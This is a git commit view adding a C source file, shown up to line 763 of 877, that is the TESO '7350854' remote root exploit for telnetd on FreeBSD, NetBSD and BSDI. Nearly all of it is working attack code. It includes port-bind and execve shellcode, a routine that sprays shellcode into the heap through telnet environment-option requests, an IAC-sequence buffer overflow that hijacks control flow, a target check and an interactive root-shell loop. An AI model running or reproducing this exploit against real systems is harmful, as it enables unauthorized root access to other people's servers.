diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/7350855/7350855_exploit.c | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/7350855/7350855_exploit.c')
| -rw-r--r-- | exploits/7350855/7350855_exploit.c | 877 |
1 files changed, 877 insertions, 0 deletions
diff --git a/exploits/7350855/7350855_exploit.c b/exploits/7350855/7350855_exploit.c new file mode 100644 index 0000000..95dd740 --- /dev/null +++ b/exploits/7350855/7350855_exploit.c | |||
| @@ -0,0 +1,877 @@ | |||
| 1 | /* 7350854 - x86/bsd telnetd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 14 | * All Rights Reserved | ||
| 15 | * | ||
| 16 | ***************************************************************************** | ||
| 17 | * bug found by scut 2001/06/09 | ||
| 18 | * further research by smiler, zip, lorian and me. | ||
| 19 | * thanks to zip's cool friend for giving me a testbed to play on | ||
| 20 | * | ||
| 21 | * tested against: BSDI BSD/OS 4.1 | ||
| 22 | * NetBSD 1.5 | ||
| 23 | * FreeBSD 3.1 | ||
| 24 | * FreeBSD 4.0-REL | ||
| 25 | * FreeBSD 4.2-REL | ||
| 26 | * FreeBSD 4.3-BETA | ||
| 27 | * FreeBSD 4.3-STABLE | ||
| 28 | * FreeBSD 4.3-RELEASE | ||
| 29 | * | ||
| 30 | */ | ||
| 31 | |||
| 32 | #define VERSION "0.0.7" | ||
| 33 | |||
| 34 | #include <sys/types.h> | ||
| 35 | #include <sys/time.h> | ||
| 36 | #include <sys/socket.h> | ||
| 37 | #include <netinet/in.h> | ||
| 38 | #include <arpa/inet.h> | ||
| 39 | #include <arpa/telnet.h> | ||
| 40 | #include <netdb.h> | ||
| 41 | #include <errno.h> | ||
| 42 | #include <fcntl.h> | ||
| 43 | #include <unistd.h> | ||
| 44 | #include <stdio.h> | ||
| 45 | #include <stdlib.h> | ||
| 46 | #include <string.h> | ||
| 47 | #include <time.h> | ||
| 48 | |||
| 49 | |||
| 50 | /* global variables, uhhohh! | ||
| 51 | */ | ||
| 52 | int mode = 16; | ||
| 53 | int num = 245; | ||
| 54 | int pop = 31500; /* puts code at 0x08fdff0a */ | ||
| 55 | int bs = 1; /* buffer start */ | ||
| 56 | |||
| 57 | int num34 = 244; | ||
| 58 | int pop34 = 71833; /* puts code at 0x0a0d08fe */ | ||
| 59 | int bs34 = 0; | ||
| 60 | |||
| 61 | int walk; /* populator walker */ | ||
| 62 | int force = 0; /* force exploitation */ | ||
| 63 | int checkonly = 0; /* check telnetd only */ | ||
| 64 | |||
| 65 | |||
| 66 | void usage (char *progname); | ||
| 67 | int xp_check (int fd); | ||
| 68 | void xp_pop (int fd); | ||
| 69 | void xp_shrinkwin (int fd); | ||
| 70 | void xp_setenv (int fd, unsigned char *var, unsigned char *val); | ||
| 71 | void xp (int fd); | ||
| 72 | void shell (int sock); | ||
| 73 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 74 | |||
| 75 | /* imported from shellkit */ | ||
| 76 | unsigned long int random_get (unsigned long int low, unsigned long int high); | ||
| 77 | void random_init (void); | ||
| 78 | int bad (unsigned char u); | ||
| 79 | int badstr (unsigned char *code, int code_len, unsigned char *bad, | ||
| 80 | int bad_len); | ||
| 81 | unsigned long int x86_nop_rwreg (void); | ||
| 82 | unsigned long int x86_nop_xfer (char *xferstr); | ||
| 83 | unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 84 | unsigned char *bad, int bad_len); | ||
| 85 | |||
| 86 | #define BSET(dest, len, val, bw) { \ | ||
| 87 | dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ | ||
| 88 | dest |= val << (8 - bw - len); /* set value bits */ \ | ||
| 89 | bw += len; \ | ||
| 90 | } | ||
| 91 | |||
| 92 | /* imported from network.c */ | ||
| 93 | #define NET_CONNTIMEOUT 60 | ||
| 94 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 95 | |||
| 96 | unsigned long int net_resolve (char *host); | ||
| 97 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 98 | unsigned short int port, int sec); | ||
| 99 | |||
| 100 | |||
| 101 | /* x86/bsd PIC portshell shellcode | ||
| 102 | * by lorian/teso | ||
| 103 | * port 0x4444 (might want to change it here) | ||
| 104 | */ | ||
| 105 | unsigned char x86_bsd_portshell[] = | ||
| 106 | "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" | ||
| 107 | "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" | ||
| 108 | /* ^^ ^^ port */ | ||
| 109 | "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" | ||
| 110 | "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" | ||
| 111 | "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" | ||
| 112 | "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" | ||
| 113 | "\x80"; | ||
| 114 | |||
| 115 | /* x86/bsd PIC execve shellcode | ||
| 116 | * by lorian/teso | ||
| 117 | */ | ||
| 118 | unsigned char x86_bsd_execvesh[] = | ||
| 119 | "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" | ||
| 120 | "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; | ||
| 121 | |||
| 122 | /* x86/bsd(i)+solaris execve shellcode | ||
| 123 | * by lorian/teso | ||
| 124 | */ | ||
| 125 | unsigned char x86_bsd_compaexec[] = | ||
| 126 | "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0" | ||
| 127 | "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b" | ||
| 128 | "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" | ||
| 129 | "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7"; | ||
| 130 | |||
| 131 | |||
| 132 | unsigned char * shellcode = x86_bsd_compaexec; | ||
| 133 | |||
| 134 | |||
| 135 | #define COL 55 | ||
| 136 | |||
| 137 | |||
| 138 | void | ||
| 139 | usage (char *progname) | ||
| 140 | { | ||
| 141 | fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname); | ||
| 142 | fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n" | ||
| 143 | "-c\tcheck exploitability only, do not exploit\n" | ||
| 144 | "-f\tforce mode, override check results\n\n"); | ||
| 145 | fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n" | ||
| 146 | "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n" | ||
| 147 | "take that, or it will take very long for it (> 1h). beware.\n\n"); | ||
| 148 | |||
| 149 | fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n" | ||
| 150 | "\tNetBSD 1.5\n" | ||
| 151 | "\tBSDI BSD/OS 4.1\n\n"); | ||
| 152 | |||
| 153 | exit (EXIT_FAILURE); | ||
| 154 | } | ||
| 155 | |||
| 156 | int | ||
| 157 | main (int argc, char *argv[]) | ||
| 158 | { | ||
| 159 | char c; | ||
| 160 | char * progname; | ||
| 161 | char * dest; | ||
| 162 | int i, j, fd, | ||
| 163 | dots = 0; | ||
| 164 | int popc; | ||
| 165 | struct timeval start, | ||
| 166 | cur; | ||
| 167 | unsigned long long int g_pct, /* gaussian percentage */ | ||
| 168 | g_all; /* gaussian overall */ | ||
| 169 | |||
| 170 | |||
| 171 | fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n" | ||
| 172 | "by zip, lorian, smiler and scut.\n\n"); | ||
| 173 | |||
| 174 | progname = argv[0]; | ||
| 175 | if (argc < 2) | ||
| 176 | usage (progname); | ||
| 177 | |||
| 178 | |||
| 179 | while ((c = getopt (argc, argv, "n:cf")) != EOF) { | ||
| 180 | switch (c) { | ||
| 181 | case 'n': | ||
| 182 | num = atoi (optarg); | ||
| 183 | break; | ||
| 184 | case 'c': | ||
| 185 | checkonly = 1; | ||
| 186 | break; | ||
| 187 | case 'f': | ||
| 188 | force = 1; | ||
| 189 | break; | ||
| 190 | default: | ||
| 191 | usage (progname); | ||
| 192 | break; | ||
| 193 | } | ||
| 194 | } | ||
| 195 | |||
| 196 | dest = argv[argc - 1]; | ||
| 197 | if (dest[0] == '-') | ||
| 198 | usage (progname); | ||
| 199 | |||
| 200 | fd = net_connect (NULL, dest, 23, 20); | ||
| 201 | if (fd <= 0) { | ||
| 202 | fprintf (stderr, "failed to connect\n"); | ||
| 203 | exit (EXIT_FAILURE); | ||
| 204 | } | ||
| 205 | |||
| 206 | random_init (); | ||
| 207 | |||
| 208 | if (xp_check (fd) == 0 && force == 0) { | ||
| 209 | printf ("aborting\n"); | ||
| 210 | #ifndef DEBUG | ||
| 211 | exit (EXIT_FAILURE); | ||
| 212 | #endif | ||
| 213 | } | ||
| 214 | close (fd); | ||
| 215 | |||
| 216 | if (checkonly) | ||
| 217 | exit (EXIT_SUCCESS); | ||
| 218 | |||
| 219 | fd = net_connect (NULL, dest, 23, 20); | ||
| 220 | if (fd <= 0) { | ||
| 221 | fprintf (stderr, "failed to connect the second time\n"); | ||
| 222 | exit (EXIT_FAILURE); | ||
| 223 | } | ||
| 224 | |||
| 225 | printf ("\n#############################################################################\n\n"); | ||
| 226 | printf ("ok baby, times are rough, we send %dmb traffic to the remote\n" | ||
| 227 | "telnet daemon process, it will spill badly. but then, there is no\n" | ||
| 228 | "other way, sorry...\n\n", mode); | ||
| 229 | |||
| 230 | #ifdef DEBUG | ||
| 231 | getchar (); | ||
| 232 | #endif | ||
| 233 | printf ("## setting populators to populate heap address space\n"); | ||
| 234 | |||
| 235 | g_all = ((unsigned long long int)(pop / 2)) * | ||
| 236 | ((unsigned long long int)(pop + 1)); | ||
| 237 | g_pct = 0; | ||
| 238 | |||
| 239 | printf ("## number of setenvs (dots / network): %d\n", pop); | ||
| 240 | printf ("## number of walks (percentage / cpu): %Lu\n", g_all); | ||
| 241 | printf ("##\n"); | ||
| 242 | printf ("## the percentage is more realistic than the dots ;)\n"); | ||
| 243 | printf ("\n"); | ||
| 244 | printf ("percent |"); | ||
| 245 | |||
| 246 | popc = pop / COL; | ||
| 247 | for (i = pop / popc ; i >= 0 ; --i) | ||
| 248 | printf ("-"); | ||
| 249 | printf ("| ETA |\n"); | ||
| 250 | |||
| 251 | gettimeofday (&start, NULL); | ||
| 252 | |||
| 253 | for (walk = 0 ; walk < pop ; ++walk) { | ||
| 254 | xp_pop (fd); | ||
| 255 | |||
| 256 | g_pct += walk; | ||
| 257 | |||
| 258 | if (walk % popc == 0) | ||
| 259 | dots += 1; | ||
| 260 | |||
| 261 | if (walk % 200 == 0) { | ||
| 262 | int pct; | ||
| 263 | float pct_f; | ||
| 264 | unsigned long int diff; | ||
| 265 | |||
| 266 | pct = (int) ((g_pct * 100) / g_all); | ||
| 267 | pct_f = g_pct * 100; | ||
| 268 | pct_f /= (float) g_all; | ||
| 269 | |||
| 270 | /* calculate difference not caring about accuracy */ | ||
| 271 | gettimeofday (&cur, NULL); | ||
| 272 | diff = cur.tv_sec - start.tv_sec; | ||
| 273 | |||
| 274 | printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ? | ||
| 275 | "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f); | ||
| 276 | for (j = 0 ; j < dots ; ++j) | ||
| 277 | printf ("."); | ||
| 278 | for ( ; j <= COL ; ++j) | ||
| 279 | printf (" "); | ||
| 280 | |||
| 281 | if (pct != 0) { | ||
| 282 | diff = (int) ((((float)(100 - pct_f)) / | ||
| 283 | (float) pct_f) * diff); | ||
| 284 | printf ("| %02lu:%02lu:%02lu |", | ||
| 285 | diff / 3600, (diff % 3600) / 60, | ||
| 286 | diff % 60); | ||
| 287 | } else { | ||
| 288 | printf ("| --:--:-- |"); | ||
| 289 | } | ||
| 290 | |||
| 291 | fflush (stdout); | ||
| 292 | } | ||
| 293 | } | ||
| 294 | printf ("\n\n"); | ||
| 295 | |||
| 296 | printf ("## sleeping for 10 seconds to let the process recover\n"); | ||
| 297 | sleep (10); | ||
| 298 | |||
| 299 | #ifdef DEBUG | ||
| 300 | getchar (); | ||
| 301 | #endif | ||
| 302 | /* return into 0x08feff0a */ | ||
| 303 | xp (fd); | ||
| 304 | sleep (1); | ||
| 305 | |||
| 306 | printf ("## ok, you should now have a root shell\n"); | ||
| 307 | printf ("## as always, after hard times, there is a reward...\n"); | ||
| 308 | printf ("\n\ncommand: "); | ||
| 309 | fflush (stdout); | ||
| 310 | |||
| 311 | shell (fd); | ||
| 312 | |||
| 313 | exit (EXIT_SUCCESS); | ||
| 314 | } | ||
| 315 | |||
| 316 | |||
| 317 | void | ||
| 318 | xp (int fd) | ||
| 319 | { | ||
| 320 | int n; | ||
| 321 | unsigned char buf[2048]; | ||
| 322 | |||
| 323 | |||
| 324 | /* basic overflow */ | ||
| 325 | for (n = bs ; n < sizeof (buf) ; ++n) | ||
| 326 | buf[n] = (n - bs) % 2 ? '\xf6' : '\xff'; | ||
| 327 | |||
| 328 | /* some nifty alignment */ | ||
| 329 | buf[0] = '\xff'; /* IAC */ | ||
| 330 | buf[1] = '\xf5'; /* AO */ | ||
| 331 | |||
| 332 | if (mode == 16) { | ||
| 333 | buf[2] = '\xff'; /* IAC */ | ||
| 334 | buf[3] = '\xfb'; /* WILL */ | ||
| 335 | buf[4] = '\x26'; /* ENCRYPTION */ | ||
| 336 | } | ||
| 337 | |||
| 338 | /* force 0x08feff0a as return */ | ||
| 339 | buf[num++] = '\xff'; | ||
| 340 | buf[num++] = '\xfb'; | ||
| 341 | buf[num++] = '\x08'; | ||
| 342 | |||
| 343 | /* and the output_encrypt overwrite action, yay! */ | ||
| 344 | buf[num++] = '\xff'; | ||
| 345 | buf[num++] = '\xf6'; | ||
| 346 | |||
| 347 | /* XXX: should not fail here, though we should better loop and check */ | ||
| 348 | n = send (fd, buf, num, 0); | ||
| 349 | if (n != num) { | ||
| 350 | perror ("xp:send"); | ||
| 351 | } | ||
| 352 | } | ||
| 353 | |||
| 354 | |||
| 355 | #ifdef INSANE_MIND | ||
| 356 | |||
| 357 | void | ||
| 358 | xp_shrinkwin (int fd) | ||
| 359 | { | ||
| 360 | int n; | ||
| 361 | int iobc; | ||
| 362 | int p = 0; | ||
| 363 | unsigned char buf[2048]; | ||
| 364 | char c; | ||
| 365 | int val; | ||
| 366 | int len; | ||
| 367 | |||
| 368 | for (n = 0 ; n < sizeof (buf) ; ++n) | ||
| 369 | buf[n] = n % 2 ? '\xf6' : '\xff'; | ||
| 370 | |||
| 371 | len = sizeof (val); | ||
| 372 | getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); | ||
| 373 | printf ("SO_SNDLOWAT = %d\n", val); | ||
| 374 | val = 1; | ||
| 375 | printf ("setsockopt: %s\n", | ||
| 376 | setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ? | ||
| 377 | "FAILED" : "SUCCESS"); | ||
| 378 | val = 1234; | ||
| 379 | getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); | ||
| 380 | printf ("SO_SNDLOWAT = %d\n", val); | ||
| 381 | |||
| 382 | getchar(); | ||
| 383 | while (1) { | ||
| 384 | if (p > 105) | ||
| 385 | c = getchar(); | ||
| 386 | if (c == 'r') { | ||
| 387 | getchar(); | ||
| 388 | read (fd, &buf[1024], 384); | ||
| 389 | } else if (c == 'o') { | ||
| 390 | getchar(); | ||
| 391 | send (fd, "7", 1, MSG_OOB); | ||
| 392 | } else if (c != 'r') { | ||
| 393 | usleep(100000); | ||
| 394 | n = send (fd, buf, 112, 0); | ||
| 395 | ioctl (fd, FIONREAD, &iobc); | ||
| 396 | len = sizeof (val); | ||
| 397 | getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len); | ||
| 398 | printf ("%02d. send: %d local: %d/%d (%d left)\n", | ||
| 399 | ++p, n, iobc, val, val - iobc); | ||
| 400 | } | ||
| 401 | } | ||
| 402 | } | ||
| 403 | #endif | ||
| 404 | |||
| 405 | |||
| 406 | /* xp_pop - populator function | ||
| 407 | * | ||
| 408 | * causes remote telnet daemon to setenv() variables with our content, populating | ||
| 409 | * the heap with shellcode. this will get us more nopspace and place our shellcode | ||
| 410 | * where the nice addresses are, that we can create by writing telnet option | ||
| 411 | * strings. | ||
| 412 | * | ||
| 413 | * XXX: there seems to be a maximum size for the environment value you can set, | ||
| 414 | * which is 510. we use 496 bytes for nopspace and shellcode therefore. | ||
| 415 | * should work, rather similar to tsig tcp/malloc exploitation. -sc | ||
| 416 | */ | ||
| 417 | |||
| 418 | void | ||
| 419 | xp_pop (int fd) | ||
| 420 | { | ||
| 421 | unsigned char var[16]; | ||
| 422 | unsigned char storebuf[496]; | ||
| 423 | sprintf (var, "%06x", walk); | ||
| 424 | #ifdef DEBUG | ||
| 425 | memset (storebuf, '\xcc', sizeof (storebuf)); | ||
| 426 | #else | ||
| 427 | /* memset (storebuf, '\x90', sizeof (storebuf)); */ | ||
| 428 | x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5); | ||
| 429 | memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1, | ||
| 430 | shellcode, strlen (shellcode)); | ||
| 431 | #endif | ||
| 432 | storebuf[sizeof (storebuf) - 1] = '\0'; | ||
| 433 | |||
| 434 | xp_setenv (fd, var, storebuf); | ||
| 435 | } | ||
| 436 | |||
| 437 | |||
| 438 | void | ||
| 439 | xp_setenv (int fd, unsigned char *var, unsigned char *val) | ||
| 440 | { | ||
| 441 | int n = 0; | ||
| 442 | unsigned char buf[2048]; | ||
| 443 | |||
| 444 | buf[n++] = IAC; | ||
| 445 | buf[n++] = SB; | ||
| 446 | buf[n++] = TELOPT_NEW_ENVIRON; | ||
| 447 | buf[n++] = TELQUAL_IS; | ||
| 448 | buf[n++] = ENV_USERVAR; | ||
| 449 | |||
| 450 | /* should not contain < 0x04 */ | ||
| 451 | while (*var) { | ||
| 452 | if (*var == IAC) | ||
| 453 | buf[n++] = *var; | ||
| 454 | buf[n++] = *var++; | ||
| 455 | } | ||
| 456 | buf[n++] = NEW_ENV_VALUE; | ||
| 457 | while (*val) { | ||
| 458 | if (*val == IAC) | ||
| 459 | buf[n++] = *val; | ||
| 460 | buf[n++] = *val++; | ||
| 461 | } | ||
| 462 | buf[n++] = IAC; | ||
| 463 | buf[n++] = SE; | ||
| 464 | |||
| 465 | if (send (fd, buf, n, 0) != n) { | ||
| 466 | perror ("xp_setenv:send"); | ||
| 467 | exit (EXIT_FAILURE); | ||
| 468 | } | ||
| 469 | } | ||
| 470 | |||
| 471 | |||
| 472 | int | ||
| 473 | xp_check (int fd) | ||
| 474 | { | ||
| 475 | int n; | ||
| 476 | unsigned int expect_len = 15; | ||
| 477 | unsigned char expected[] = | ||
| 478 | "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26"; | ||
| 479 | /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/ | ||
| 480 | unsigned int additional_len = 8; | ||
| 481 | unsigned char additional[] = | ||
| 482 | "\xff\xfa\x26\x01\x01\x02\xff\xf0"; | ||
| 483 | /*IAC SB ENC ........... IAC SE */ | ||
| 484 | |||
| 485 | unsigned char buf[128]; | ||
| 486 | |||
| 487 | read (fd, buf, sizeof (buf)); | ||
| 488 | |||
| 489 | n = 0; | ||
| 490 | buf[n++] = IAC; /* 0xff */ | ||
| 491 | buf[n++] = AYT; /* 0xf6 */ | ||
| 492 | |||
| 493 | buf[n++] = IAC; /* 0xff */ | ||
| 494 | buf[n++] = WILL; /* 0xfb */ | ||
| 495 | buf[n++] = TELOPT_NAOL; /* 0x08 */ | ||
| 496 | |||
| 497 | buf[n++] = IAC; /* 0xff */ | ||
| 498 | buf[n++] = WILL; /* 0xfb */ | ||
| 499 | buf[n++] = TELOPT_ENCRYPT; /* 0x26 */ | ||
| 500 | |||
| 501 | #ifdef DEBUG | ||
| 502 | hexdump ("check send buffer", buf, n); | ||
| 503 | #endif | ||
| 504 | if (send (fd, buf, n, 0) != n) { | ||
| 505 | perror ("xp_check:send"); | ||
| 506 | exit (EXIT_FAILURE); | ||
| 507 | } | ||
| 508 | |||
| 509 | n = read (fd, buf, sizeof (buf)); | ||
| 510 | #ifdef DEBUG | ||
| 511 | hexdump ("check recv buffer", buf, n); | ||
| 512 | #endif | ||
| 513 | |||
| 514 | if (memcmp (buf, expected, expect_len) == 0) { | ||
| 515 | if (memcmp (buf+expect_len, additional, additional_len) == 0) { | ||
| 516 | mode = 16; | ||
| 517 | } else { | ||
| 518 | mode = 34; | ||
| 519 | bs = bs34; | ||
| 520 | } | ||
| 521 | printf ("check: PASSED, using %dmb mode\n", mode); | ||
| 522 | |||
| 523 | return (1); | ||
| 524 | } | ||
| 525 | |||
| 526 | printf ("check: FAILED\n"); | ||
| 527 | |||
| 528 | return (0); | ||
| 529 | } | ||
| 530 | |||
| 531 | |||
| 532 | void | ||
| 533 | shell (int sock) | ||
| 534 | { | ||
| 535 | int l; | ||
| 536 | char buf[512]; | ||
| 537 | fd_set rfds; | ||
| 538 | |||
| 539 | |||
| 540 | while (1) { | ||
| 541 | FD_SET (0, &rfds); | ||
| 542 | FD_SET (sock, &rfds); | ||
| 543 | |||
| 544 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 545 | if (FD_ISSET (0, &rfds)) { | ||
| 546 | l = read (0, buf, sizeof (buf)); | ||
| 547 | if (l <= 0) { | ||
| 548 | perror ("read user"); | ||
| 549 | exit (EXIT_FAILURE); | ||
| 550 | } | ||
| 551 | write (sock, buf, l); | ||
| 552 | } | ||
| 553 | |||
| 554 | if (FD_ISSET (sock, &rfds)) { | ||
| 555 | l = read (sock, buf, sizeof (buf)); | ||
| 556 | if (l <= 0) { | ||
| 557 | perror ("read remote"); | ||
| 558 | exit (EXIT_FAILURE); | ||
| 559 | } | ||
| 560 | write (1, buf, l); | ||
| 561 | } | ||
| 562 | } | ||
| 563 | } | ||
| 564 | |||
| 565 | |||
| 566 | /* ripped from zodiac */ | ||
| 567 | void | ||
| 568 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 569 | { | ||
| 570 | unsigned int dp, p; /* data pointer */ | ||
| 571 | const char trans[] = | ||
| 572 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 573 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 574 | "nopqrstuvwxyz{|}~...................................." | ||
| 575 | "....................................................." | ||
| 576 | "........................................"; | ||
| 577 | |||
| 578 | |||
| 579 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 580 | |||
| 581 | for (dp = 1; dp <= amount; dp++) { | ||
| 582 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 583 | if ((dp % 8) == 0) | ||
| 584 | fprintf (stderr, " "); | ||
| 585 | if ((dp % 16) == 0) { | ||
| 586 | fprintf (stderr, "| "); | ||
| 587 | p = dp; | ||
| 588 | for (dp -= 16; dp < p; dp++) | ||
| 589 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 590 | fflush (stderr); | ||
| 591 | fprintf (stderr, "\n"); | ||
| 592 | } | ||
| 593 | fflush (stderr); | ||
| 594 | } | ||
| 595 | if ((amount % 16) != 0) { | ||
| 596 | p = dp = 16 - (amount % 16); | ||
| 597 | for (dp = p; dp > 0; dp--) { | ||
| 598 | fprintf (stderr, " "); | ||
| 599 | if (((dp % 8) == 0) && (p != 8)) | ||
| 600 | fprintf (stderr, " "); | ||
| 601 | fflush (stderr); | ||
| 602 | } | ||
| 603 | fprintf (stderr, " | "); | ||
| 604 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 605 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 606 | fflush (stderr); | ||
| 607 | } | ||
| 608 | fprintf (stderr, "\n"); | ||
| 609 | |||
| 610 | return; | ||
| 611 | } | ||
| 612 | |||
| 613 | |||
| 614 | |||
| 615 | unsigned long int | ||
| 616 | net_resolve (char *host) | ||
| 617 | { | ||
| 618 | long i; | ||
| 619 | struct hostent *he; | ||
| 620 | |||
| 621 | i = inet_addr(host); | ||
| 622 | if (i == -1) { | ||
| 623 | he = gethostbyname(host); | ||
| 624 | if (he == NULL) { | ||
| 625 | return (0); | ||
| 626 | } else { | ||
| 627 | return (*(unsigned long *) he->h_addr); | ||
| 628 | } | ||
| 629 | } | ||
| 630 | return (i); | ||
| 631 | } | ||
| 632 | |||
| 633 | |||
| 634 | int | ||
| 635 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 636 | unsigned short int port, int sec) | ||
| 637 | { | ||
| 638 | int n, | ||
| 639 | len, | ||
| 640 | error, | ||
| 641 | flags; | ||
| 642 | int fd; | ||
| 643 | struct timeval tv; | ||
| 644 | fd_set rset, wset; | ||
| 645 | struct sockaddr_in csa; | ||
| 646 | |||
| 647 | if (cs == NULL) | ||
| 648 | cs = &csa; | ||
| 649 | |||
| 650 | /* first allocate a socket */ | ||
| 651 | cs->sin_family = AF_INET; | ||
| 652 | cs->sin_port = htons (port); | ||
| 653 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 654 | if (fd == -1) | ||
| 655 | return (-1); | ||
| 656 | |||
| 657 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 658 | close (fd); | ||
| 659 | return (-1); | ||
| 660 | } | ||
| 661 | |||
| 662 | flags = fcntl (fd, F_GETFL, 0); | ||
| 663 | if (flags == -1) { | ||
| 664 | close (fd); | ||
| 665 | return (-1); | ||
| 666 | } | ||
| 667 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 668 | if (n == -1) { | ||
| 669 | close (fd); | ||
| 670 | return (-1); | ||
| 671 | } | ||
| 672 | |||
| 673 | error = 0; | ||
| 674 | |||
| 675 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 676 | if (n < 0) { | ||
| 677 | if (errno != EINPROGRESS) { | ||
| 678 | close (fd); | ||
| 679 | return (-1); | ||
| 680 | } | ||
| 681 | } | ||
| 682 | if (n == 0) | ||
| 683 | goto done; | ||
| 684 | |||
| 685 | FD_ZERO(&rset); | ||
| 686 | FD_ZERO(&wset); | ||
| 687 | FD_SET(fd, &rset); | ||
| 688 | FD_SET(fd, &wset); | ||
| 689 | tv.tv_sec = sec; | ||
| 690 | tv.tv_usec = 0; | ||
| 691 | |||
| 692 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 693 | if (n == 0) { | ||
| 694 | close(fd); | ||
| 695 | errno = ETIMEDOUT; | ||
| 696 | return (-1); | ||
| 697 | } | ||
| 698 | if (n == -1) | ||
| 699 | return (-1); | ||
| 700 | |||
| 701 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 702 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 703 | len = sizeof(error); | ||
| 704 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 705 | errno = ETIMEDOUT; | ||
| 706 | return (-1); | ||
| 707 | } | ||
| 708 | if (error == 0) { | ||
| 709 | goto done; | ||
| 710 | } else { | ||
| 711 | errno = error; | ||
| 712 | return (-1); | ||
| 713 | } | ||
| 714 | } | ||
| 715 | } else | ||
| 716 | return (-1); | ||
| 717 | |||
| 718 | done: | ||
| 719 | n = fcntl(fd, F_SETFL, flags); | ||
| 720 | if (n == -1) | ||
| 721 | return (-1); | ||
| 722 | return (fd); | ||
| 723 | } | ||
| 724 | |||
| 725 | |||
| 726 | /* imported from shellkit */ | ||
| 727 | |||
| 728 | unsigned long int | ||
| 729 | random_get (unsigned long int low, unsigned long int high) | ||
| 730 | { | ||
| 731 | unsigned long int val; | ||
| 732 | |||
| 733 | if (low > high) { | ||
| 734 | low ^= high; | ||
| 735 | high ^= low; | ||
| 736 | low ^= high; | ||
| 737 | } | ||
| 738 | |||
| 739 | val = (unsigned long int) random (); | ||
| 740 | val %= (high - low); | ||
| 741 | val += low; | ||
| 742 | |||
| 743 | return (val); | ||
| 744 | } | ||
| 745 | |||
| 746 | |||
| 747 | void | ||
| 748 | random_init (void) | ||
| 749 | { | ||
| 750 | srandom (time (NULL)); | ||
| 751 | } | ||
| 752 | |||
| 753 | |||
| 754 | int | ||
| 755 | bad (unsigned char u) | ||
| 756 | { | ||
| 757 | if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') | ||
| 758 | return (1); | ||
| 759 | |||
| 760 | return (0); | ||
| 761 | } | ||
| 762 | |||
| 763 | int | ||
